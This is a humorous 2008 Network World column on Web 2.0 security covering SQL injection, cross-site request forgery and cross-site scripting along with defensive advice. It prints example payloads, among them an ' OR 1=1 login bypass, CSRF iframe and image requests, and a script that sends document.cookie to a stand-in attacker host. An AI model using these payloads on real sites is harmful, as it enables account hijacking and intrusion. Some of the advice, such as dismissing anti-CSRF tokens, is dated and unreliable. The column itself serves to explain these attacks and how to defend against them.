Web 2. oh...security?

Most hard core networking geeks out there today avoid buzzwords like I avoid health food, sushi and light beer. Buzzwords are not technologies that I can go out there and deploy per se, they are terms to make analyst sound smarter then they actually are. Web 2.0 has really taken on a life of its own in the kingdom of buzzwords. I use Web 2.0 to help me move gear and get management behind projects they normally would not. For example: Scene: In a Office surrounded by motivational posters, management books on a shelf, a Think Outside the Box book in box under the desk, a "No I in the word Team" framed motivational pic sitting in the honor spot on a white Formica desktop... a knock on the door... Engineer: We need to upgrade our firewall to increase our posture against the latest multi-layer attack bots concentrating on layer 7 applications in our DMZ. Manager heard: ...static...I need money for something I can not define Manager: We just do not have the budget. But make our network secure anyway. Handle it, handle it (Carter Country fans represent yo!) Now add buzzwords add then: Engineer: We are not ready for Web 2.0! Our firewall just can not support the applications! Manager thinks: Yikes! I will be the laughing stock of the county club! I must act fast! Manager: OK, then upgrade the firewall as soon as possible. Nice job catching this. See how that works? But let's get real with Web 2.0 As an engineer I was drug into Web 2.0 like my wife was drug into our wedding...kicking and screaming. Basically we are offloading the processes on the user's machine and putting them back onto the server in a very lightweight format. This allows users to personalize the content they receive with little performance penalty. How we do that is the biggie for us engineer kinda people. Web 2.0 is such a big deal now it puts arch enemies together in the same room to work on a common solution. That's right; I am talking about server admins with security admins. Last time that happened was in 1999 and the whole Spock Vs. Data throw down occurred and nobody wants a repeat of that. The birth of Web 2.0 also spawned the birth of its evil twin; Data Leakage. When looking at moving towards a more personalized environment we must account for both. Like it or not, security should always trump personalization. The question is what do we look for to secure Web 2.0 applications? The King of all Web 2.0 attacks is the same one the beats up more web servers then Donkey Kong eats bananas; SQL Injection. These attacks work because there is really no strict separation between user data and programming instructions. Basically, hackers sneak in programming instructions were user data is expected and the application is compromised. For example; if a SQL database is expecting a username and password the query string would look like this: SELECT id FROM user_table WHERE username='RobbBoyd' AND password=PASSWORD ('MyTechWiseTV.COM') This is what happens behind many Java front end authenticators. Any hacker worth there gravy would immediately try to inject the following: SELECT id FROM user_table WHERE username= '' OR 1=1 --' AND password= PASSWORD ('x') The SQL backend just expecting user data, so the hacker chooses to tell the database to return all user ID's (username is zero length OR true) from the user table. Old school attack but it still works often. If you are looking to provide authentication for your Web 2.0 applications, I am a huge believer in prepared statements. These statements do not interpret user input as SQL instructions. I would have your data base administrators document the statements that deviate from a prepared statement, then do a code tree walk thru (you do not have to be a code jockey to do this. It is just a logical walk thru of process flow) to see just what a hacked non prepared statement could mean to your business. Pro-Active planning Vs Re-Active Lots of Web 2.0 apps link to other applications on the web. This allows folks to add their blogs, music, videos, mytechwisetv.com...etc to their page. It is kinda like putting stickers on your locker at school or old conference badges in your cubical...Makes a statement of your cool factor. Wow! CeBIT +2 added to coolness...We allow folks to modify the Document Object Model (DOM) on our application but not across other websites that we do not own. This is called Same Origin Policy and basically means that client side code Asynchronous JavaScript and XML (AJAX) can only update code that comes for the same origin as itself. That is how is SHOULD work. Of course your friendly neighborhood hacker sees this as an opportunity for Cross Site Request Forgery attack. It is kinda like ARP spoofing for URL's in a way. We use a ton of AJAX in Web 2.0 apps to speed up the browser load time because AJAX can make a bunch of little HTTP GETS to update only a small piece of a page instead of the entire app. Now, because of the Same Origin Policy, many code jockeys believe that since XHR (XMLHTTPRequest) will only speak to the origin page they are safe. That is kinda like going fishing with a can of corn, fish like corn, you can put corn on a hook, so...This works by a hacker embedding malicious HTML or JavaScript code into an email or website to request a specific 'task url' which executes without the users knowledge, either directly or by utilizing a Cross-site Scripting Flaw. It would look like this: IFRAME SRC <iframe src="http://host/?command"> JavaScript Methods 'Image' Object <script> var twtv = new Image(); twtv.src = "http://host/?command"; </script> Preventing this attack is not as tough as getting inlaws to leave before supper time, you just have to plan. First make sure your site is not vulnerable to cross site scripting attacks (XSS). If a single XSS flaw exists, then there is no good way to prevent a CSRF issue from being exploited. Hey folks this is truly job one for us folks going to Web 2.0. Your site must be free from XSS issues. Also config'ing a short time out period for user sessions is as important as choosing the right fishing bait. If your sites require the user to be logged in before performing an action set the users session to a short session period (three minutes should work) will reduce the odds of a successful CSRF attack. I also recommend that you prompt the user with a login page and/or strong CAPTCHA each time an important site action is performed. You may read about things like rotating tokens that sound good, my concern with this is single browser vulnerability can allow a hacker to snag you session token and then game over. The final issue but certainly not last is Cross Site Scripting (XSS). I mentioned this above, but lets take a look at what it is and what to do about it. Basically, a hacker forces a web site to echo evil executable code, which loads in a user's browser. The majority of this code is in HTML/JavaScript, but I have also seen it in ActiveX and Flash. Basically, whatever the browser supports can lend itself to a code vector. If a hacker can get a user's browser to execute the code, it will run within the security context of the hosting web site. Because of this level of privilege, the code has the ability to read, modify and transmit any data the browser can access. The hacked or really hijacked user can have their account stole by steal the cookies (remember all of the "click here to remember me" log in buttons), browser redirect to show fake content, etc... I would steal cookies with a small piece of code like this: <SCRIPT> document.location= 'http://hax0r.example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> Preventing XSS can be done by removing strings or characters but that can be tricky since many apps use different characters for different things. Personally, I like escaping user supplied data within web, AJAX, etc...calls. I know this is a real pain because we have to escape with URL/JavaScript or HTML entity encoding. Web 2.0 is cool and here to stay. No need to freak out about it. It's the same old story folks, to keep the Internet in balance, good stuff exploited by bad stuff, fixed by good stuff, it's kinda like a whole circle of life thingy, Hey, I feel like it's time to break out in a song, Let me look up Jeff Caruso's number... Jimmy Ray

Join the Network World communities on Facebook and LinkedIn to comment on topics that are top of mind.

Copyright © 2008 IDG Communications, Inc.